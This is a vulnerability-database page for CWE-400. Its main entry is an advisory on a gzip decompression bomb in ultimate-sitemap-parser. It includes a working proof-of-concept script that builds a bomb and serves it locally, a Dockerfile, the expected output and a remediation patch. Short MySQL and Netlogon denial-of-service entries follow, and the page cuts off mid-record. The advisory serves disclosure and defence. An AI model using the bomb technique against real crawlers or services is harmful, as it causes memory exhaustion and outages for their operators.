CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
6291 vulnerabilities reference this CWE, most recent first.
GHSA-8823-QG2X-PV9F
Vulnerability from github – Published: 2026-06-19 21:15 – Updated: 2026-06-19 21:15Gzip Decompression Bomb Bypasses Sitemap Size Limit
Summary
ultimate-sitemap-parser enforces a 100 MiB size limit on sitemap responses, but applies it only to the compressed bytes received over the network. When a .gz sitemap is fetched, usp/helpers.py:239 calls gzip_lib.decompress(data) with no output-size cap, allowing an attacker-controlled server to serve a small gzip-compressed payload (~549 KB) that expands to over 120 MiB in process memory. This completely bypasses the declared limit and can exhaust memory or crash any process that calls sitemap_tree_for_homepage() against an untrusted site.
Details
The library declares a maximum sitemap size constant in usp/fetch_parse.py:64:
__MAX_SITEMAP_SIZE = 100 * 1024 * 1024 # Max. uncompressed sitemap size
Despite the comment saying "uncompressed", this value is passed directly to the HTTP client layer at usp/fetch_parse.py:130:
web_client.set_max_response_data_length(self.__MAX_SITEMAP_SIZE)
The HTTP client (usp/web_client/requests_client.py:57-58) slices only the raw compressed response bytes:
data = self.__requests_response.content[: self.__max_response_data_length]
The truncated (but still compressed) bytes are then passed through the pipeline to usp/fetch_parse.py:175:
response_content = ungzipped_response_content(url=self._url, response=response)
Inside ungzipped_response_content (usp/helpers.py:265-267), when the URL ends in .gz or the response carries a gzip content type, decompression is triggered:
if __response_is_gzipped_data(url=url, response=response):
data = gunzip(data)
The gunzip function (usp/helpers.py:239) decompresses without any output-size guard:
gunzipped_data = gzip_lib.decompress(data)
No post-decompression size check exists anywhere in the call chain. Dynamic reproduction confirmed that 549,213 bytes of compressed input passed the 100 MiB gate check (compressed < limit → True) and then expanded to 125,829,234 bytes (120.0 MiB) in memory with no exception raised.
PoC
Environment setup:
# Clone the repository at the affected commit
git clone https://github.com/GateNLP/ultimate-sitemap-parser /tmp/usp-repo
cd /tmp/usp-repo
git checkout 182f4642f145230b68e7518e627883edd09168ca
# Build and run via Docker (memory-limited to 512 MiB)
docker build -t usp-vuln-002 -f vuln-002/Dockerfile /path/to/report-dir/
docker run --rm --memory=512m usp-vuln-002
Alternatively, run directly:
python -m venv /tmp/usp-poc
. /tmp/usp-poc/bin/activate
pip install ultimate-sitemap-parser==1.8.0
python3 poc.py
PoC script (poc.py) — abbreviated attack flow:
import gzip, threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from usp.tree import sitemap_tree_for_homepage
# Build a gzip bomb: 120 MB uncompressed, ~549 KB compressed
bomb_xml = (
b'<?xml version="1.0" encoding="UTF-8"?>'
b'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">'
b'<!--' + b'B' * (120 * 1024 * 1024) + b'-->'
b'</urlset>'
)
compressed_bomb = gzip.compress(bomb_xml, compresslevel=1)
class BombHandler(BaseHTTPRequestHandler):
def do_GET(self):
port = self.server.server_address[1]
if self.path == "/robots.txt":
body = f"Sitemap: http://127.0.0.1:{port}/sitemap.xml.gz\n".encode()
self.send_response(200); self.end_headers(); self.wfile.write(body)
elif self.path == "/sitemap.xml.gz":
self.send_response(200)
self.send_header("Content-Type", "application/x-gzip")
self.end_headers(); self.wfile.write(compressed_bomb)
else:
self.send_response(404); self.end_headers()
def log_message(self, *a): pass
server = HTTPServer(("127.0.0.1", 0), BombHandler)
port = server.server_address[1]
threading.Thread(target=server.serve_forever, daemon=True).start()
sitemap_tree_for_homepage(f"http://127.0.0.1:{port}/", use_known_paths=False)
server.shutdown()
Expected output:
[INTERCEPT] gunzip() input=549,213 B output=125,829,234 B (120.0 MB)
[+] sitemap_tree_for_homepage() returned without exception
compressed=549,213 B < limit=104,857,600 B (passes gate)
decompressed=125,829,234 B > limit=104,857,600 B (no post-decompress check)
EXCEEDS LIMIT: True
[PASS] Decompression bomb bypassed the size limit.
The parser fetches /sitemap.xml.gz, passes the compressed-size gate check, decompresses 549 KB into 120 MiB in process memory, and returns normally without raising an exception.
Remediation:
--- a/usp/helpers.py
+++ b/usp/helpers.py
+import io
-def gunzip(data: bytes) -> bytes:
+def gunzip(data: bytes, max_output_bytes: int | None = None) -> bytes:
try:
- gunzipped_data = gzip_lib.decompress(data)
+ chunks, total = [], 0
+ with gzip_lib.GzipFile(fileobj=io.BytesIO(data)) as gz:
+ while chunk := gz.read(1024 * 1024):
+ total += len(chunk)
+ if max_output_bytes is not None and total > max_output_bytes:
+ raise GunzipException(
+ f"Gunzipped data exceeds maximum size of {max_output_bytes} bytes."
+ )
+ chunks.append(chunk)
+ gunzipped_data = b"".join(chunks)
-def ungzipped_response_content(url, response):
+def ungzipped_response_content(url, response, max_uncompressed_size=None):
- data = gunzip(data)
+ data = gunzip(data, max_output_bytes=max_uncompressed_size)
--- a/usp/fetch_parse.py
- response_content = ungzipped_response_content(url=self._url, response=response)
+ response_content = ungzipped_response_content(
+ url=self._url, response=response,
+ max_uncompressed_size=self.__MAX_SITEMAP_SIZE,
+ )
Impact
Any application that calls sitemap_tree_for_homepage() (or the underlying fetch/parse pipeline) against an attacker-controlled or compromised domain is vulnerable. The attacker only needs to control a web server that serves a valid robots.txt pointing to a gzip-compressed sitemap URL. No authentication or special configuration is required; the vulnerability is triggered by default library behavior.
A ~549 KB compressed payload expands to 120 MiB in process memory. Larger bombs are possible up to the compressed-size limit (100 MiB of compressed data could expand to tens of gigabytes). Repeated requests or sufficiently large bombs can cause out-of-memory crashes, service disruptions, or denial of service in any process or service that performs sitemap crawling.
This vulnerability is a Denial of Service via Uncontrolled Resource Consumption (Decompression Bomb / Zip Bomb). Affected parties include:
- SEO tooling, search engine crawlers, and indexing services using this library.
- Web frameworks and microservices that expose a sitemap-crawling endpoint to external input.
- Any automated pipeline that regularly crawls third-party sitemaps.
Reproduction artifacts
Dockerfile
FROM python:3.12-slim
# Install build dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
gcc \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
# Copy the vulnerable library from the cloned repo (build context: parent dir)
COPY repo/ /app/repo/
# Install the library from local source (version 1.8.0)
RUN pip install --no-cache-dir /app/repo/
# Copy the PoC script
COPY vuln-002/poc.py /app/poc.py
# Run with unbuffered output so evidence appears immediately
CMD ["python3", "-u", "/app/poc.py"]
poc.py
#!/usr/bin/env python3
"""
Proof-of-Concept for VULN-002:
Gzip Decompression Bomb Bypasses Sitemap Size Limit
GateNLP/ultimate-sitemap-parser 1.8.0
Vulnerability location: usp/helpers.py:239
gunzipped_data = gzip_lib.decompress(data) # no max_length
Attack path:
1. Attacker serves /robots.txt pointing to /sitemap.xml.gz
2. Library enforces MAX_SITEMAP_SIZE (100 MB) on *compressed* response bytes
3. Library calls gunzip() with no output-size limit
4. Small compressed payload expands to >>100 MB in process memory
Expected outcome: gunzip() output size > 100 MB with no exception raised.
"""
import gzip
import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
# Mirrors usp/fetch_parse.py:64 — the library's declared maximum
MAX_SITEMAP_SIZE = 100 * 1024 * 1024 # 100 MB
# Bomb decompresses to this size (deliberately exceeds the limit)
BOMB_UNCOMPRESSED_MB = 120
BOMB_UNCOMPRESSED_BYTES = BOMB_UNCOMPRESSED_MB * 1024 * 1024
def get_rss_mb() -> float:
"""Read current RSS from /proc/self/status in MB."""
try:
with open("/proc/self/status") as fh:
for line in fh:
if line.startswith("VmRSS:"):
return int(line.split()[1]) / 1024
except OSError:
pass
return 0.0
# ---------------------------------------------------------------------------
# Step 1 — Build the gzip bomb
# ---------------------------------------------------------------------------
print("[*] Building gzip bomb (compresslevel=1, fast) ...")
bomb_xml = (
b'<?xml version="1.0" encoding="UTF-8"?>'
b'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">'
b'<!--' + b'B' * BOMB_UNCOMPRESSED_BYTES + b'-->'
b'</urlset>'
)
compressed_bomb = gzip.compress(bomb_xml, compresslevel=1)
print(f"[+] Uncompressed payload : {len(bomb_xml):>12,} bytes ({len(bomb_xml)/1024/1024:.1f} MB)")
print(f"[+] Compressed bomb : {len(compressed_bomb):>12,} bytes ({len(compressed_bomb)/1024/1024:.3f} MB)")
print(f"[+] Library MAX_SITEMAP_SIZE : {MAX_SITEMAP_SIZE:,} bytes (100.0 MB)")
print(f"[+] compressed < limit : {len(compressed_bomb) < MAX_SITEMAP_SIZE} "
f"(bomb passes the size gate)")
print(f"[+] uncompressed > limit : {len(bomb_xml) > MAX_SITEMAP_SIZE} "
f"(decompression would exceed intent)")
print()
# ---------------------------------------------------------------------------
# Step 2 — Serve the bomb via a local HTTP server
# ---------------------------------------------------------------------------
class BombHandler(BaseHTTPRequestHandler):
def do_GET(self) -> None:
port = self.server.server_address[1]
if self.path == "/robots.txt":
body = (
f"User-agent: *\n"
f"Sitemap: http://127.0.0.1:{port}/sitemap.xml.gz\n"
).encode()
self.send_response(200)
self.send_header("Content-Type", "text/plain; charset=utf-8")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
elif self.path == "/sitemap.xml.gz":
self.send_response(200)
self.send_header("Content-Type", "application/x-gzip")
self.send_header("Content-Length", str(len(compressed_bomb)))
self.end_headers()
self.wfile.write(compressed_bomb)
else:
self.send_response(404)
self.end_headers()
def log_message(self, fmt: str, *args: object) -> None: # silence default log
print(f" [HTTP] {self.path} {fmt % args}")
server = HTTPServer(("127.0.0.1", 0), BombHandler)
port = server.server_address[1]
threading.Thread(target=server.serve_forever, daemon=True).start()
print(f"[*] Bomb server listening on http://127.0.0.1:{port}/")
# ---------------------------------------------------------------------------
# Step 3 — Monkeypatch usp.helpers.gunzip to intercept decompressed size
# ---------------------------------------------------------------------------
import usp.helpers as _helpers
_orig_gunzip = _helpers.gunzip
_intercepted: list[int] = []
def _patched_gunzip(data: bytes) -> bytes:
result = _orig_gunzip(data)
_intercepted.append(len(result))
print(f" [INTERCEPT] gunzip() input={len(data):,} B output={len(result):,} B "
f"({len(result)/1024/1024:.1f} MB)")
return result
_helpers.gunzip = _patched_gunzip
# ---------------------------------------------------------------------------
# Step 4 — Trigger the vulnerability
# ---------------------------------------------------------------------------
from usp.tree import sitemap_tree_for_homepage
rss_before = get_rss_mb()
print(f"[*] RSS before parse: {rss_before:.1f} MB")
print(f"[*] Calling sitemap_tree_for_homepage(http://127.0.0.1:{port}/) ...")
try:
_tree = sitemap_tree_for_homepage(
f"http://127.0.0.1:{port}/",
use_known_paths=False,
)
parse_raised = False
print("[+] sitemap_tree_for_homepage() returned without exception")
except Exception as exc:
parse_raised = True
print(f"[!] sitemap_tree_for_homepage() raised: {exc}")
rss_after = get_rss_mb()
print(f"[*] RSS after parse: {rss_after:.1f} MB (delta: +{rss_after - rss_before:.1f} MB)")
server.shutdown()
# ---------------------------------------------------------------------------
# Step 5 — Evaluate and report
# ---------------------------------------------------------------------------
print()
print("=" * 60)
print("EXPLOIT RESULT SUMMARY")
print("=" * 60)
passed = False
reason = "no gunzip intercept captured"
if _intercepted:
max_decompressed = max(_intercepted)
print(f" gunzip() call(s) : {len(_intercepted)}")
print(f" max decompressed : {max_decompressed:,} bytes ({max_decompressed/1024/1024:.1f} MB)")
print(f" library limit : {MAX_SITEMAP_SIZE:,} bytes (100.0 MB)")
print(f" EXCEEDS LIMIT : {max_decompressed > MAX_SITEMAP_SIZE}")
if max_decompressed > MAX_SITEMAP_SIZE:
passed = True
reason = (
f"gunzip() decompressed {max_decompressed:,} bytes "
f"({max_decompressed/1024/1024:.1f} MB), exceeding the "
f"{MAX_SITEMAP_SIZE/1024/1024:.0f} MB limit without raising an exception"
)
print()
print(" [PASS] Decompression bomb bypassed the size limit.")
print(f" compressed={len(compressed_bomb):,} B < limit={MAX_SITEMAP_SIZE:,} B "
f"(passes gate)")
print(f" decompressed={max_decompressed:,} B > limit={MAX_SITEMAP_SIZE:,} B "
f"(no post-decompress check)")
else:
reason = (
f"gunzip() decompressed {max_decompressed:,} bytes but did not exceed "
f"{MAX_SITEMAP_SIZE:,} bytes limit"
)
print()
print(" [FAIL] Decompressed size did not exceed limit.")
else:
print(" [FAIL] gunzip() was not intercepted — sitemap path not reached.")
print("=" * 60)
sys.exit(0 if passed else 1)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.8.0"
},
"package": {
"ecosystem": "PyPI",
"name": "ultimate-sitemap-parser"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.8.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T21:15:34Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Gzip Decompression Bomb Bypasses Sitemap Size Limit\n\n### Summary\n\n`ultimate-sitemap-parser` enforces a 100 MiB size limit on sitemap responses, but applies it only to the **compressed** bytes received over the network. When a `.gz` sitemap is fetched, `usp/helpers.py:239` calls `gzip_lib.decompress(data)` with no output-size cap, allowing an attacker-controlled server to serve a small gzip-compressed payload (~549 KB) that expands to over 120 MiB in process memory. This completely bypasses the declared limit and can exhaust memory or crash any process that calls `sitemap_tree_for_homepage()` against an untrusted site.\n\n### Details\n\nThe library declares a maximum sitemap size constant in `usp/fetch_parse.py:64`:\n\n```python\n__MAX_SITEMAP_SIZE = 100 * 1024 * 1024 # Max. uncompressed sitemap size\n```\n\nDespite the comment saying \"uncompressed\", this value is passed directly to the HTTP client layer at `usp/fetch_parse.py:130`:\n\n```python\nweb_client.set_max_response_data_length(self.__MAX_SITEMAP_SIZE)\n```\n\nThe HTTP client (`usp/web_client/requests_client.py:57-58`) slices only the raw compressed response bytes:\n\n```python\ndata = self.__requests_response.content[: self.__max_response_data_length]\n```\n\nThe truncated (but still compressed) bytes are then passed through the pipeline to `usp/fetch_parse.py:175`:\n\n```python\nresponse_content = ungzipped_response_content(url=self._url, response=response)\n```\n\nInside `ungzipped_response_content` (`usp/helpers.py:265-267`), when the URL ends in `.gz` or the response carries a gzip content type, decompression is triggered:\n\n```python\nif __response_is_gzipped_data(url=url, response=response):\n data = gunzip(data)\n```\n\nThe `gunzip` function (`usp/helpers.py:239`) decompresses without any output-size guard:\n\n```python\ngunzipped_data = gzip_lib.decompress(data)\n```\n\nNo post-decompression size check exists anywhere in the call chain. Dynamic reproduction confirmed that 549,213 bytes of compressed input passed the 100 MiB gate check (`compressed \u003c limit \u2192 True`) and then expanded to 125,829,234 bytes (120.0 MiB) in memory with no exception raised.\n\n### PoC\n\n**Environment setup:**\n\n```bash\n# Clone the repository at the affected commit\ngit clone https://github.com/GateNLP/ultimate-sitemap-parser /tmp/usp-repo\ncd /tmp/usp-repo\ngit checkout 182f4642f145230b68e7518e627883edd09168ca\n\n# Build and run via Docker (memory-limited to 512 MiB)\ndocker build -t usp-vuln-002 -f vuln-002/Dockerfile /path/to/report-dir/\ndocker run --rm --memory=512m usp-vuln-002\n```\n\n**Alternatively, run directly:**\n\n```bash\npython -m venv /tmp/usp-poc\n. /tmp/usp-poc/bin/activate\npip install ultimate-sitemap-parser==1.8.0\npython3 poc.py\n```\n\n**PoC script (`poc.py`) \u2014 abbreviated attack flow:**\n\n```python\nimport gzip, threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom usp.tree import sitemap_tree_for_homepage\n\n# Build a gzip bomb: 120 MB uncompressed, ~549 KB compressed\nbomb_xml = (\n b\u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u0027\n b\u0027\u003curlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\"\u003e\u0027\n b\u0027\u003c!--\u0027 + b\u0027B\u0027 * (120 * 1024 * 1024) + b\u0027--\u003e\u0027\n b\u0027\u003c/urlset\u003e\u0027\n)\ncompressed_bomb = gzip.compress(bomb_xml, compresslevel=1)\n\nclass BombHandler(BaseHTTPRequestHandler):\n def do_GET(self):\n port = self.server.server_address[1]\n if self.path == \"/robots.txt\":\n body = f\"Sitemap: http://127.0.0.1:{port}/sitemap.xml.gz\\n\".encode()\n self.send_response(200); self.end_headers(); self.wfile.write(body)\n elif self.path == \"/sitemap.xml.gz\":\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/x-gzip\")\n self.end_headers(); self.wfile.write(compressed_bomb)\n else:\n self.send_response(404); self.end_headers()\n def log_message(self, *a): pass\n\nserver = HTTPServer((\"127.0.0.1\", 0), BombHandler)\nport = server.server_address[1]\nthreading.Thread(target=server.serve_forever, daemon=True).start()\n\nsitemap_tree_for_homepage(f\"http://127.0.0.1:{port}/\", use_known_paths=False)\nserver.shutdown()\n```\n\n**Expected output:**\n\n```\n[INTERCEPT] gunzip() input=549,213 B output=125,829,234 B (120.0 MB)\n[+] sitemap_tree_for_homepage() returned without exception\ncompressed=549,213 B \u003c limit=104,857,600 B (passes gate)\ndecompressed=125,829,234 B \u003e limit=104,857,600 B (no post-decompress check)\nEXCEEDS LIMIT: True\n[PASS] Decompression bomb bypassed the size limit.\n```\n\nThe parser fetches `/sitemap.xml.gz`, passes the compressed-size gate check, decompresses 549 KB into 120 MiB in process memory, and returns normally without raising an exception.\n\n**Remediation:**\n\n```diff\n--- a/usp/helpers.py\n+++ b/usp/helpers.py\n+import io\n \n-def gunzip(data: bytes) -\u003e bytes:\n+def gunzip(data: bytes, max_output_bytes: int | None = None) -\u003e bytes:\n try:\n- gunzipped_data = gzip_lib.decompress(data)\n+ chunks, total = [], 0\n+ with gzip_lib.GzipFile(fileobj=io.BytesIO(data)) as gz:\n+ while chunk := gz.read(1024 * 1024):\n+ total += len(chunk)\n+ if max_output_bytes is not None and total \u003e max_output_bytes:\n+ raise GunzipException(\n+ f\"Gunzipped data exceeds maximum size of {max_output_bytes} bytes.\"\n+ )\n+ chunks.append(chunk)\n+ gunzipped_data = b\"\".join(chunks)\n\n-def ungzipped_response_content(url, response):\n+def ungzipped_response_content(url, response, max_uncompressed_size=None):\n- data = gunzip(data)\n+ data = gunzip(data, max_output_bytes=max_uncompressed_size)\n\n--- a/usp/fetch_parse.py\n- response_content = ungzipped_response_content(url=self._url, response=response)\n+ response_content = ungzipped_response_content(\n+ url=self._url, response=response,\n+ max_uncompressed_size=self.__MAX_SITEMAP_SIZE,\n+ )\n```\n\n### Impact\n\nAny application that calls `sitemap_tree_for_homepage()` (or the underlying fetch/parse pipeline) against an attacker-controlled or compromised domain is vulnerable. The attacker only needs to control a web server that serves a valid `robots.txt` pointing to a gzip-compressed sitemap URL. No authentication or special configuration is required; the vulnerability is triggered by default library behavior.\n\nA ~549 KB compressed payload expands to 120 MiB in process memory. Larger bombs are possible up to the compressed-size limit (100 MiB of compressed data could expand to tens of gigabytes). Repeated requests or sufficiently large bombs can cause out-of-memory crashes, service disruptions, or denial of service in any process or service that performs sitemap crawling.\n\nThis vulnerability is a **Denial of Service via Uncontrolled Resource Consumption (Decompression Bomb / Zip Bomb)**. Affected parties include:\n\n- SEO tooling, search engine crawlers, and indexing services using this library.\n- Web frameworks and microservices that expose a sitemap-crawling endpoint to external input.\n- Any automated pipeline that regularly crawls third-party sitemaps.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\n# Install build dependencies\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n gcc \\\n \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Copy the vulnerable library from the cloned repo (build context: parent dir)\nCOPY repo/ /app/repo/\n\n# Install the library from local source (version 1.8.0)\nRUN pip install --no-cache-dir /app/repo/\n\n# Copy the PoC script\nCOPY vuln-002/poc.py /app/poc.py\n\n# Run with unbuffered output so evidence appears immediately\nCMD [\"python3\", \"-u\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nProof-of-Concept for VULN-002:\nGzip Decompression Bomb Bypasses Sitemap Size Limit\nGateNLP/ultimate-sitemap-parser 1.8.0\n\nVulnerability location: usp/helpers.py:239\n gunzipped_data = gzip_lib.decompress(data) # no max_length\n\nAttack path:\n 1. Attacker serves /robots.txt pointing to /sitemap.xml.gz\n 2. Library enforces MAX_SITEMAP_SIZE (100 MB) on *compressed* response bytes\n 3. Library calls gunzip() with no output-size limit\n 4. Small compressed payload expands to \u003e\u003e100 MB in process memory\n\nExpected outcome: gunzip() output size \u003e 100 MB with no exception raised.\n\"\"\"\n\nimport gzip\nimport sys\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n# Mirrors usp/fetch_parse.py:64 \u2014 the library\u0027s declared maximum\nMAX_SITEMAP_SIZE = 100 * 1024 * 1024 # 100 MB\n\n# Bomb decompresses to this size (deliberately exceeds the limit)\nBOMB_UNCOMPRESSED_MB = 120\nBOMB_UNCOMPRESSED_BYTES = BOMB_UNCOMPRESSED_MB * 1024 * 1024\n\n\ndef get_rss_mb() -\u003e float:\n \"\"\"Read current RSS from /proc/self/status in MB.\"\"\"\n try:\n with open(\"/proc/self/status\") as fh:\n for line in fh:\n if line.startswith(\"VmRSS:\"):\n return int(line.split()[1]) / 1024\n except OSError:\n pass\n return 0.0\n\n\n# ---------------------------------------------------------------------------\n# Step 1 \u2014 Build the gzip bomb\n# ---------------------------------------------------------------------------\nprint(\"[*] Building gzip bomb (compresslevel=1, fast) ...\")\nbomb_xml = (\n b\u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u0027\n b\u0027\u003curlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\"\u003e\u0027\n b\u0027\u003c!--\u0027 + b\u0027B\u0027 * BOMB_UNCOMPRESSED_BYTES + b\u0027--\u003e\u0027\n b\u0027\u003c/urlset\u003e\u0027\n)\ncompressed_bomb = gzip.compress(bomb_xml, compresslevel=1)\n\nprint(f\"[+] Uncompressed payload : {len(bomb_xml):\u003e12,} bytes ({len(bomb_xml)/1024/1024:.1f} MB)\")\nprint(f\"[+] Compressed bomb : {len(compressed_bomb):\u003e12,} bytes ({len(compressed_bomb)/1024/1024:.3f} MB)\")\nprint(f\"[+] Library MAX_SITEMAP_SIZE : {MAX_SITEMAP_SIZE:,} bytes (100.0 MB)\")\nprint(f\"[+] compressed \u003c limit : {len(compressed_bomb) \u003c MAX_SITEMAP_SIZE} \"\n f\"(bomb passes the size gate)\")\nprint(f\"[+] uncompressed \u003e limit : {len(bomb_xml) \u003e MAX_SITEMAP_SIZE} \"\n f\"(decompression would exceed intent)\")\nprint()\n\n# ---------------------------------------------------------------------------\n# Step 2 \u2014 Serve the bomb via a local HTTP server\n# ---------------------------------------------------------------------------\nclass BombHandler(BaseHTTPRequestHandler):\n def do_GET(self) -\u003e None:\n port = self.server.server_address[1]\n if self.path == \"/robots.txt\":\n body = (\n f\"User-agent: *\\n\"\n f\"Sitemap: http://127.0.0.1:{port}/sitemap.xml.gz\\n\"\n ).encode()\n self.send_response(200)\n self.send_header(\"Content-Type\", \"text/plain; charset=utf-8\")\n self.send_header(\"Content-Length\", str(len(body)))\n self.end_headers()\n self.wfile.write(body)\n\n elif self.path == \"/sitemap.xml.gz\":\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/x-gzip\")\n self.send_header(\"Content-Length\", str(len(compressed_bomb)))\n self.end_headers()\n self.wfile.write(compressed_bomb)\n\n else:\n self.send_response(404)\n self.end_headers()\n\n def log_message(self, fmt: str, *args: object) -\u003e None: # silence default log\n print(f\" [HTTP] {self.path} {fmt % args}\")\n\n\nserver = HTTPServer((\"127.0.0.1\", 0), BombHandler)\nport = server.server_address[1]\nthreading.Thread(target=server.serve_forever, daemon=True).start()\nprint(f\"[*] Bomb server listening on http://127.0.0.1:{port}/\")\n\n# ---------------------------------------------------------------------------\n# Step 3 \u2014 Monkeypatch usp.helpers.gunzip to intercept decompressed size\n# ---------------------------------------------------------------------------\nimport usp.helpers as _helpers\n\n_orig_gunzip = _helpers.gunzip\n_intercepted: list[int] = []\n\n\ndef _patched_gunzip(data: bytes) -\u003e bytes:\n result = _orig_gunzip(data)\n _intercepted.append(len(result))\n print(f\" [INTERCEPT] gunzip() input={len(data):,} B output={len(result):,} B \"\n f\"({len(result)/1024/1024:.1f} MB)\")\n return result\n\n\n_helpers.gunzip = _patched_gunzip\n\n# ---------------------------------------------------------------------------\n# Step 4 \u2014 Trigger the vulnerability\n# ---------------------------------------------------------------------------\nfrom usp.tree import sitemap_tree_for_homepage\n\nrss_before = get_rss_mb()\nprint(f\"[*] RSS before parse: {rss_before:.1f} MB\")\nprint(f\"[*] Calling sitemap_tree_for_homepage(http://127.0.0.1:{port}/) ...\")\n\ntry:\n _tree = sitemap_tree_for_homepage(\n f\"http://127.0.0.1:{port}/\",\n use_known_paths=False,\n )\n parse_raised = False\n print(\"[+] sitemap_tree_for_homepage() returned without exception\")\nexcept Exception as exc:\n parse_raised = True\n print(f\"[!] sitemap_tree_for_homepage() raised: {exc}\")\n\nrss_after = get_rss_mb()\nprint(f\"[*] RSS after parse: {rss_after:.1f} MB (delta: +{rss_after - rss_before:.1f} MB)\")\n\nserver.shutdown()\n\n# ---------------------------------------------------------------------------\n# Step 5 \u2014 Evaluate and report\n# ---------------------------------------------------------------------------\nprint()\nprint(\"=\" * 60)\nprint(\"EXPLOIT RESULT SUMMARY\")\nprint(\"=\" * 60)\n\npassed = False\nreason = \"no gunzip intercept captured\"\n\nif _intercepted:\n max_decompressed = max(_intercepted)\n print(f\" gunzip() call(s) : {len(_intercepted)}\")\n print(f\" max decompressed : {max_decompressed:,} bytes ({max_decompressed/1024/1024:.1f} MB)\")\n print(f\" library limit : {MAX_SITEMAP_SIZE:,} bytes (100.0 MB)\")\n print(f\" EXCEEDS LIMIT : {max_decompressed \u003e MAX_SITEMAP_SIZE}\")\n\n if max_decompressed \u003e MAX_SITEMAP_SIZE:\n passed = True\n reason = (\n f\"gunzip() decompressed {max_decompressed:,} bytes \"\n f\"({max_decompressed/1024/1024:.1f} MB), exceeding the \"\n f\"{MAX_SITEMAP_SIZE/1024/1024:.0f} MB limit without raising an exception\"\n )\n print()\n print(\" [PASS] Decompression bomb bypassed the size limit.\")\n print(f\" compressed={len(compressed_bomb):,} B \u003c limit={MAX_SITEMAP_SIZE:,} B \"\n f\"(passes gate)\")\n print(f\" decompressed={max_decompressed:,} B \u003e limit={MAX_SITEMAP_SIZE:,} B \"\n f\"(no post-decompress check)\")\n else:\n reason = (\n f\"gunzip() decompressed {max_decompressed:,} bytes but did not exceed \"\n f\"{MAX_SITEMAP_SIZE:,} bytes limit\"\n )\n print()\n print(\" [FAIL] Decompressed size did not exceed limit.\")\nelse:\n print(\" [FAIL] gunzip() was not intercepted \u2014 sitemap path not reached.\")\n\nprint(\"=\" * 60)\nsys.exit(0 if passed else 1)\n```",
"id": "GHSA-8823-qg2x-pv9f",
"modified": "2026-06-19T21:15:34Z",
"published": "2026-06-19T21:15:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/GateNLP/ultimate-sitemap-parser/security/advisories/GHSA-8823-qg2x-pv9f"
},
{
"type": "PACKAGE",
"url": "https://github.com/GateNLP/ultimate-sitemap-parser"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Ultimate Sitemap Parser (USP): Gzip Decompression Bomb Bypasses Sitemap Size Limit"
}
GHSA-8833-3JPH-2H9H
Vulnerability from github – Published: 2026-04-21 21:31 – Updated: 2026-04-21 21:31Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.0-8.0.45, 8.4.0-8.4.8 and 9.0.0-9.6.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-22005"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-21T21:16:26Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.0-8.0.45, 8.4.0-8.4.8 and 9.0.0-9.6.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).",
"id": "GHSA-8833-3jph-2h9h",
"modified": "2026-04-21T21:31:24Z",
"published": "2026-04-21T21:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22005"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-884W-HQX3-6FJ7
Vulnerability from github – Published: 2025-07-08 18:31 – Updated: 2025-07-08 18:31Uncontrolled resource consumption in Windows Netlogon allows an unauthorized attacker to deny service over a network.
{
"affected": [],
"aliases": [
"CVE-2025-49716"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
